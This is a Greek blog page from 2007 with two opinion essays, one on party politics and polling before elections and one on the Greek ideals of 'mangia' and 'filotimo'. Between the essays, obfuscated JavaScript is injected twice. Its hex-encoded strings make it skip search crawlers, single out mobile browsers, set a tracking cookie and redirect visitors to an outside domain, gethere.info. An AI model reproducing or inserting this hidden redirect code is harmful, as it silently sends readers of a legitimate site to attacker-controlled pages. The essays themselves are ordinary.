anwnymous

Μαΐου 31, 2007

Εκλογές.

Filed under: Uncategorized — thelastrealanwnymous @ 6 :31 μμ

Όταν ακούμε εκλογές ξέρουμε ότι ,τότε βγαίνει στην επιφάνεια η «ευαισθησία» των πολιτικών και τότε αρχίζει το ψάρεμα για κάποιο καυτό θέμα ,που θα τους δώσει την ευκαιρία να δείξουν την ανθρωπιά τους . (Δεν θα επεκταθώ γιατί ξέρετε γιατί μιλάω …)  Ας δούμε κάποια «κλασσικά» εκλογικά ζητήματα : 

      Ο δικομματισμός .Οι ρόλοι είναι μοιρασμένοι. Η κυβέρνηση τραβάει το δρόμο της  και η αντιπολίτευση προσπαθεί να της πριονίσει την καρέκλα. (…τα μπάγκυ μάλλον γιατί οδηγεί το όχημα ). Το πριόνισμα γίνεται ευκαιριακά, γιατί ουσιαστικά ο βασικός ρόλος της αντιπολίτευσης είναι να περιμένει τη σειρά της. Το ΠΑΣΟΚ τώρα ξέρει ,πως δεν αρκεί μια τετραετία για να καθαρίσει το κάρμα του από την εικοσαετή διακυβέρνηση . Όμως όταν προκύπτουν θέματα όπως τα ομόλογα αναγκαστικά του μπαίνουν ιδέες ( λες να …;) και προσπαθεί , μήπως ανατρέψει την κατάσταση νωρίτερα.      Η θεωρεία για ρυθμιστικό παράγοντα – τρίτη δύναμη που θα μπορεί να επεμβαίνει στον αυταρχισμό των κυβερνήσεων- θεωρείται από μεν τους θεωρητικούς της πολιτικής ένα σημαντικό βήμα προς την δημοκρατία , αλλά από το σύνολο των ψηφοφόρων παράγοντας αποσταθεροποίησης. Πέρα από το απλοϊκό σχήμα των δύο αντιπάλων που νικάει ο καλύτερος , η παρεμβολή τρίτου , αστάθμητου ( και αψυχολόγητου λόγω μικρού ποσοστού ) παράγοντα στη διακυβέρνηση ,επισύρει κινδύνους για την πολιτική σταθερότητα και η ιστορία (  αποστασίες ) διδάσκει ότι αυτοί οι «μικροί»  ρυθμιστές ,μπορεί να γίνουν πιο εύκολα αντικείμενα πιέσεων οιουδήποτε. Οπότε η λογική να βλέπεις και να απολαμβάνεις τη μάχη δύο  αντιπάλων  , στο ποδόσφαιρο , στο μποξ , στο τένις και γιατί όχι στην πολιτική ,δεν μπορεί με τίποτε να ξεπεραστεί από την παρουσία τρίτου ο οποίος τελικά ξενερώνει το παιχνίδι.   

Η πολιτική αντιπαράθεση στη χώρα μας είναι κατά 95 % αναμονή – να φθαρεί η κυβέρνηση σε κάποιο εύλογο βάθος χρόνου – και 5% αστάθμητοι παράγοντες όπως τα σκάνδαλα*.  *(  Νομίζω πως η πολιτική ζωή πρέπει να συμπεριλαμβάνει ένα άτυπο μίνι σύνταγμα που να περιέχει 10 «ευαίσθητα»  σημεία . Τα σημεία αυτά είναι  τομείς ευάλωτοι σε σκάνδαλα . Ας τα δούμε : 1. δημόσια έργα 2. ο τύπος 3. τα χρήματα των ταμείων (οι καταθέσεις των ΔΕΚΟ πριν λίγα χρόνια.) 4. η άμυνα 5. οι ιδιωτικοποιήσεις. 6. η δικαιοσύνη 7. η εξωτερική πολιτική 8. οι εσωκομματικές διαμάχες 9. η ΕΟΚ 10. τοπική αυτοδιοίκηση 11. το περιβάλλον και η ενέργεια. ( σ αυτό το τελευταίο  αν υπάρχει πρόβλημα με το κλίμα στο μέλλον να δείτε που θα έχουμε και εμείς γουότερ-γκέιτ )Μόλις λοιπόν αναλαμβάνει καινούρια κυβέρνηση , στο «πρώτο σκαλί των 100 ημερών» πρέπει να δίνει αναφορά για τους ευαίσθητους τομείς. ) 

Ο μεσαίος χώρος . Δεν υπάρχει , είναι ουτοπικός χώρος. Όμως όποιος (από τους δύο «μεγάλους» ) μπορεί να μιλάει πιο πειστικά για το μεσαίο χώρο ,μπορεί να παρασύρει το κομμάτι των αναποφάσιστων με το μέρος του. Οι αναποφάσιστοι έχουν την ψευδαίσθηση ότι κινούνται κάπου στο κέντρο των πολιτικών αντιπαραθέσεων ,  τηρώντας μία «σοφή» ουδετερότητα , και πηγαίνουν με το μέρος αυτού που μπορεί να περιγράψει πιο τρισδιάστατα αυτή την ουδέτερη ζώνη προεκλογικά . Φαίνεται πως έτσι δείχνει τις καλές του προθέσεις. Αν υπήρχε τρίτο κόμμα που να αντιπροσωπεύει το κέντρο δεν θα το ψήφιζαν γιατί ξέρουν ότι είναι πλάνη. Όποιος όμως έχει τη μεγαλοθυμία να θεωρεί τον μεσαίο χώρο βασικό κομμάτι της λογικής του, κερδίζει. (…δηλαδή δεν απαιτείται ένα κόμμα να είναι κεντρώο , αρκεί να δείχνει ότι πιστεύει  στο μεσαίο χώρο.) Μια άλλη άποψη είναι ότι ο μεσαίος χώρος «τα έχει όλα και συμφέρει». Πράγμα που αρέσει σε όλους , οπότε κάθε αναφορά σ’ αυτόν δίνει μπόνους στο κόμμα που τον προβάλλει σαν σημαντικό χώρο της πολιτικής μας ζωής.  

Η αριστερά δεν μπορεί να αντιμετωπισθεί με σοβαρότητα. Εξακολουθεί να ερμηνεύει τον κόσμο με πρότυπα άλλης εποχής . Έχει εμμονή με την αλάνθαστη μοναδική δογματική αλήθεια , δεν είναι ευέλικτη και δεν ζει στο σήμερα.   

Όπως είναι τα πράγματα σήμερα λοιπόν έχουμε την εξής κατάσταση. Το ΠΑΣΟΚ γνωρίζει ότι δεν ήρθε ακόμα η σειρά του. Η ΝΔ είναι σχεδόν σίγουρη για την επόμενη τετραετία. Υπάρχει ένα μικρό ερωτηματικό για το τελευταίο σκάνδαλο , που δεν δείχνει να επηρεάζει τη ροή των γεγονότων και είναι η μόνη ίσως σανίδα σωτηρίας για το ΠΑΣΟΚ ,ώστε να μη δείχνει την προκλητική «στωικότητα» εκείνου , που θα βρίσκεται άλλα 4 χρόνια στην αναμονή.  

Κάτι καινούριο στον ορίζοντα παρακαλώ ; Μήπως κανένα δροσερό αεράκι από πουθενά; Υπάρχουν καινούριες ιδέες; Μήπως περιμένουν κάπου κρυμμένες νέες δυνάμεις; 

Λοιπόν  πριν απαντήσουμε ,πρέπει να αρχίσουμε από τις δημοσκοπήσεις. Κάποιος πρέπει να τυφλώσει τον κύκλωπα των δημοσκοπήσεων και να φιμώσει « τη φωνή του θεού» που μας δίνει εντολές για την «αδιαπραγμάτευτη» ψήφο μας. 

 Γιατί; Γιατί τελικά η λογική των δημοσκοπήσεων σου στέλνει το μήνυμα ότι «έτσι» ψηφίζουν οι «άλλοι» και έμμεσα σου βάζουν την αμφιβολία «μήπως εσύ είσαι λάθος».   Πως; Απαντήστε ψέματα , παραπλανήστε τους , διαδώστε την λογική της παραπλάνησης, κανείς δεν έχει δικαίωμα να κάνει άτυπες ψηφοφορίες πριν ανοίξουν οι κάλπες.  Αφού καθαρίσαμε και με «την ψήφο των πολλών» που μας επιβάλλεται από τους δημοσκόπους να δούμε που υπάρχουν νέες δυνάμεις. Νεολαία; Πιστεύουν ότι μπορεί να τα καταφέρουν χρησιμοποιώντας τις νέες τεχνολογίες αλλά στην πραγματικότητα σπάνε τα μούτρα τους . Αριστερά; Τα είπαμε πριν.Αντάρτες*; (εκατέρωθεν) Πολύς ενθουσιασμός και ολιγάριθμες  συσπειρώσεις ελαχίστων μηνών . *όρος από τις δημοτικές εκλογές.Πατριώτες; Δοκιμάστηκε και δεν…Διαδίκτυο; Εδώ κάτι γίνεται. Τουλάχιστον υπάρχει ευαισθησία και φοβερή ταχύτητα στις αντιδράσεις.Γυναίκες; Δεν βρέθηκε μια γυναίκα με αρχ…α που να είναι κομματικά άστεγη και να θέλει να πει κάτι. Γιατί εδώ οι «κομματικές» υποσκελίζονται από τα αγόρια. Δεν θα έχουμε ποτέ «Θατσερ» και «Ρουαγιάλ» εδώ . Ακόμα και η Παπαρήγα χρησιμοποιήθηκε για τη «λάντζα» , σ’ αυτή τη δύσκολη καμπή για την ιστορία της αριστεράς.

 Θρησκεία – ορθοδοξία; Προκλητικά πολυτελής διαβίωση , στατιστικά μεγάλο ποσοστό υπέρβαρων ιερωμένων και φαρισαϊκές δικαιολογίες.    Ίσως  οι καινούριες δυνάμεις να βρίσκονται εδώ στο διαδίκτυο . Ένα καινούριο πρόσωπο που θα μιλήσει για τις ακριβές συνδέσεις , για την τιμή του ες εμ ες , για τα επιτόκια, για την τοκογλυφία των πιστωτικών , για την αληθινή εργασία με πραγματικές αμοιβές , για το πώς μπορούμε να επιβιώνουμε σε συνθήκες αστάθειας και ανασφάλειας σε ένα κόσμο που προχωράει «ιδιωτικά» , για το ρόλο της γυναίκας στην κοινωνία , για την καταναλωτική δύναμη των μικρότερων ηλικιών που δεν ψηφίζουν, για το πάρκινγκ, για το κυκλοφοριακό, για τα τέλη κυκλοφορίας , για το πώς μπορούμε να διαχειριζόμαστε τη ζωή μας με δάνεια και διάφορα άλλα σχετικά με τη σύγχρονη ζωή.                                          akaras1979@yahoo.gr

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

Μαΐου 26, 2007

η μαγκιά και το … φιλότιμο

Filed under: Uncategorized — thelastrealanwnymous @ 7 :58 πμ

Μόνο ένας Έλληνας μπορεί να καταλάβει αυτές τις δύο έννοιες, που σαν υπέροχες γυναίκες -με διαφορετικά χαρακτηριστικά η κάθε μία (ας πούμε μία με «πλατινέ» και μία με «κορακί» ) – τον φλερτάρουν τεντώνοντας επικίνδυνα τη ζωή του.

Η μαγκιά και το φιλότιμο “πλάθονται” αργά, παράλληλα με το χαρακτήρα του ανθρώπου και παίρνουν διαφορετική υφή και έκφραση ανάλογα με το κοινωνικό στάτους της κάθε εποχής. Ξεκίνησαν σαν έννοιες που αναφέρονται κυρίως στον άντρα αλλά η Ελληνική πραγματικότητα που δεν έχει μπούργκες ,ούτε και τίτλους ευγενείας στο κοινωνικό ιστό της, παραδέχτηκε από πολύ νωρίς και γυναίκες – μαγκάκια που τα κατάφερναν αξιοπρεπώς με τις δυσκολίες της ζωής τους.

Οπωσδήποτε ζούμε σε καιρούς που η ιδέα αυτής της επιφανειακής μαγκιάς που φέρνει τα πάνω κάτω, κυρίως σε ατομικό επίπεδο, πολύ γρήγορα, με τον τρόπο που κάποιος τραβάει ένα τυχερό λαχνό , επισκιάζει την αληθινή έννοια αυτών των δύο ακρογωνιαίων λίθων του ψυχισμού του Έλληνα.

Αν και η νεότερη Ελλάδα χαρακτηρίζεται πολύ επιφανειακή σε ήθη και ιδέες και ο χαρακτηρισμός «Νεοέλληνας» είναι βρισιά, αυτά τα δύο χαρακτηριστικά της νεότερης κοινωνικής μας ζωής ,φαίνεται να διαφυλάχθηκαν σαν πολύτιμα πετράδια και να μεταδίδονται στους επόμενους χωρίς να διδάσκονται επισήμως ,παρά μόνο δια της υποδείξεως ατόμων που είναι μάγκες και απολαμβάνουν κάποιου σεβασμού από το περιβάλλον τους, καθώς και το σπανιότερο γεγονός αυτή η μαγκιά τους να συνοδεύεται από την αντίστοιχη δόση φιλότιμου.

Αν θελήσει κανείς να συναντήσει αντίστοιχες έννοιες σε άλλες κοινωνίες δεν έχει παρά να συγκρίνει τον μάγκα με τον βρετανό τζέντλεμαν, με τον ιάπωνα σαμουράι, τον Οθωμανό δερβίση (αν και εδώ έχουμε αμιγείς θρησκευτικές ρίζες), τον γάλλο ευγενή (τιτλούχο) και ομοίως και τον βορείου Ευρώπης ευγενή (γερμανό, αυστριακό κ.λ.π.)

Το κύριο χαρακτηριστικό όμως που καθιστά το μάγκα ανώτερο κατασκεύασμα όλων των προηγουμένων είναι ότι σχεδόν όλοι αναπτύχθηκαν ως χαρακτήρες σε στρατιωτικό ή σε καθαρά θρησκευτικό περιβάλλον, όπου οι ανάγκες των πολεμικών επιχειρήσεων και η ιεραρχία απαιτούσαν κάποιο είδος πειθαρχίας, ευφυΐας, πίστης, επιμονής, αυτοπεποίθησης, αντοχής όπως για παράδειγμα οι ιππότες του βασιλιά Αρθούρου από τους οποίους προήλθε η έννοια του τζέντλεμαν. Αντιθέτως η έννοια του μάγκα προέκυψε στη χώρα μας, σε καθημερινές συνθήκες κοινωνικής ζωής και φτώχειας, όπου εκ των πραγμάτων είναι πολύ δύσκολο ν’ ανθίσει το λουλούδι της μαγκιάς και ως εκ τούτου στην αγορά προσφέρονται προς βρώσιν αρκετοί ψευτόμαγκες. Εξ ου και η έκφραση «Δεν μασάμε», όπερ σημαίνει ότι η «δήθεν μαγκιά» δεν έχει αντίκρισμα στα μέρη μας.

Από τη στιγμή που στην Ελλάδα καθιερώθηκε η έννοια της μαγκιάς αποτελεί πλέον ένα εργαλείο για να κριθεί κάποιος κατά πόσο είναι σωστός με τον εαυτό του, τον κοινωνικό του περίγυρο και τα έργα του. Όταν ο Έλληνας κρίνει κάποιο άτομο του αμέσου η του ευρύτερου περιβάλλοντός του έχει στο μυαλό του τη σταθερή αξία της μαγκιάς και όσων το μπόι φθάνει το ύψος της μαγκιάς περνάνε το τεστ (και είναι πολύ λίγοι) οι υπόλοιποι -με τον τρόπο που σήμερα διαχωρίζονται με προηγμένα μηχανήματα τα φρούτα – ταξινομούνται σε: ψευτόμαγκες, ψώνια, φρούτα, κολλημένοι, αφελείς, πειραγμένοι, φευγάτοι, φυτά, βούρλα, Καραμήτροι και άλλες μικρότερες και άνευ ενδιαφέροντος κατηγορίες.

Έφθασε η στιγμή όμως να δώσουμε μία πρώτη προσέγγιση στην έννοια του μάγκα ώστε να είμαστε σε σωστό δρόμο και φυσικά να μη παραμελήσουμε και το φιλότιμο.

Κατ’ αρχάς να πούμε ότι από μόνη της η κάθε μία δεν έχει τη δύναμη που έχουν όταν υπάρχουν και οι δύο μαζί στον ίδιο άνθρωπο. Η μαγκιά μόνη της θεωρείται έπαρση και το φιλότιμο μόνο του θεωρείται δειλία. Όταν όμως ο μάγκας είναι και φιλότιμος τότε είναι ο ιδανικός άντρας και φυσικά ο ιδανικός Έλληνας.

Αυτό ακριβώς ζητάνε οι Έλληνες από τους πολιτικούς τους: να έχουν τη μαγκιά να κερδίσουν τις εκλογές και να δείξουν το φιλότιμό τους στη διακυβέρνηση της χώρας.

Η μαγκιά είναι αστική (με την έννοια του άστεως) μετεξέλιξη της – ξενέρωτης πλέον – «λεβεντιάς» που αποτελούσε το υπαίθριο ιδανικό του Έλληνα προπολεμικώς. Ακριβώς εδώ πρέπει να τονίσουμε ότι η «λεβεντιά» αναφέρεται στη σωματική ρώμη και στη νεαρή ηλικία του ανδρός κυρίως, ενώ η μαγκιά είναι αμιγώς πνευματικό επίτευγμα και ανεξάρτητο της ηλικίας του ανθρώπου.

Το φιλότιμο είναι κι αυτό εξέλιξη της ανατολίτικης φιλευσπλαχνίας – χριστιανικού τύπου – φιλτραρισμένο όμως από τις φοροαπαλλαγές της σύγχρονης φιλανθρωπίας. Το φιλότιμο λειτουργεί πάντα διακριτικά και χάνει την αξία του όταν δημοσιοποιείται. Υπάρχουν αναγνώστες που θα διαβάσουν αυτό το κείμενο μισό, εξετάζοντας μόνο τα χαρακτηριστικά της μίας από τις δύο έννοιες με την οποία πιστεύουν ότι ταυτίζονται περισσότερο, απορρίπτοντας την- εν είδει κράματος – ισχυροποίηση της μίας από την συνύπαρξη της άλλης. Πρέπει να παραδεχτούμε ότι στις δύσβατες και ανηφορικές ατραπούς του βίου ,οι άνθρωποι υποχωρούν από τις επιδιώξεις τους και τα όνειρά τους και τότε συχνά πείθουν τον εαυτό τους ότι η αποτυχία τους οφείλεται στο υπερβολικό φιλότιμο του χαρακτήρα τους και ομοίως άλλοι που έχοντας υπερβολική δύναμη στα χέρια τους αγνόησαν πρόσωπα και ιδέες προκειμένου να συνεχίσουν τις επιδιώξεις τους, σιγοψιθυρίζοντας στον εαυτό τους: «τελικά είμαι πολύ μάγκας».

H συνύπαρξη των δύο εννοιών στις πράξεις του ανθρώπου, αποδίδουν το τελικό αποτέλεσμα που θυμίζει αντίστοιχες πεποιθήσεις των αρχαίων Ελλήνων για την αρμονία και το μέτρο.

Κάπου εδώ κινδυνεύουμε να δημιουργήσουμε μία αίσθηση ότι το φιλότιμο είναι διακοσμητικό στοιχείο της μαγκιάς , ότι δηλαδή κάποιος «βαρύμαγκας», (με την καλή έννοια) που έχει κατακτήσει δικαίως τον τίτλο, απαιτείται να έχει και λίγο φιλότιμο ώστε να αποδεικνύει τις καλές του προθέσεις όσον αφορά τα κίνητρα της επιτυχίας του. Το φιλότιμο είναι αυτή η διάθεση για αρμονική συνύπαρξη και αλληλοσεβασμό με τους ανθρώπους γύρω σου ,χωρίς να υπάρχει απαραίτητα το στοιχείο της προσφοράς ή της ανατολίτικης ελεημοσύνης. Το φιλότιμο αποδεικνύει τις καλές προθέσεις του ατόμου προς το κοινωνικό του περίγυρο. Αυτό το αποτέλεσμα μπορεί να προκύπτει από μια πνευματικότητα ή και από την εμπειρία και την αυτοπεποίθηση που έχει το άτομο για τον εαυτό του και τη σχέση του με τους άλλους. Φυσικά δεν γίνεται να παραλείψουμε και τις θρησκευτικές επιρροές που με το ηθικό τους υπόβαθρο μπορούν να δώσουν μία ισχυρότερη βάση στο ψυχισμό ανθρώπου ώστε πάνω της να αναπτυχθούν τόσο πολύτιμες ιδέες.

Τα άλλα στοιχεία του φιλότιμου που είναι η ευθιξία και η διακριτικότητα δείχνουν ότι το άτομο διαθέτει πράγματι τη διάθεση να λειτουργήσει με αυτό το καταλυτικό τρόπο που τόσο ανάγκη έχουν οι κοινωνίες, χωρίς να περιμένει οποιοδήποτε αντάλλαγμα ή επιβράβευση για τις πράξεις του ή να χρησιμοποιήσει για ιδιοτελείς σκοπούς την οιαδήποτε προσφορά του. Κάτω από τις συνθήκες του ανταγωνισμού που υπάρχουν σε κάθε κοινωνικό μοντέλο, το φιλότιμο δέχεται ισχυρά χτυπήματα και οι άνθρωποι με φιλότιμο κινδυνεύουν αν πάσα στιγμή να χαρακτηριστούν κορόιδα, θύματα και μάλιστα να τύχουν και ως αντικείμενα εκμετάλλευσης όταν οι άλλοι καταλάβουν τις καλές τους προθέσεις.

Εδώ η διακριτικότητα έρχεται να προφυλάξει τον φιλότιμο άνθρωπο από τέτοιες παγίδες αφού δεν φαίνεται η προέλευση και η διαδικασία της εκάστοτε προσφοράς. Όμως τελικά πίσω από αυτή τη πράγματι ευγενική πράξη προσφοράς κρύβεται μία διαρκής μοναξιά του ανθρώπου που ασκεί τη φιλοτιμία. Μπορεί όμως κανείς να είναι μόνο φιλότιμος; Φαίνεται ότι η επίμονη άσκηση σε τόσο λεπτές πτυχές της ανώτερης σφαίρας της διάνοιας καταφέρνει να δώσει στο άτομο- που θέλει να μη χάσει το φιλότιμό του – τη μαγκιά για να πετύχει εν τέλει αυτό του το στόχο. Όλα αυτά τα στοιχεία έρχονται να σκιαγραφήσουν καλύτερα την έννοια του φιλότιμου ώστε να μη πέφτουμε στη παγίδα να θεωρούμε το φιλότιμο ως συγκαλυμμένη δουλοπρέπεια. 

 

 Οι εποχές που έρχονται είναι αντιφατικές, η νομισματική ένωση με τα «πνευματικά μας αδέρφια» τους ευρωπαίους φαίνεται να έχει και πολύ κακές ή και καλές προθέσεις απορρόφησής μας από το σύστημά τους. Όμως η μαγκιά και το φιλότιμο ακολουθούν τον έλληνα μέχρι την άκρη του κόσμου. Είναι και τα δύο το διαβατήριο που αποδεικνύει την καταγωγή του.

Συμπερασματικά μη ξεχνάτε ότι η μαγκιά κρύβει μέσα της περισσότερο ευφυία και λιγότερο δύναμη, η δύναμη είναι απόρροια της μαγκιάς και πρέπει να διαχειρίζεται με φιλότιμο, το οποίο φιλότιμο δεν είναι απλώς το κερασάκι στη τούρτα της μαγκιάς.var 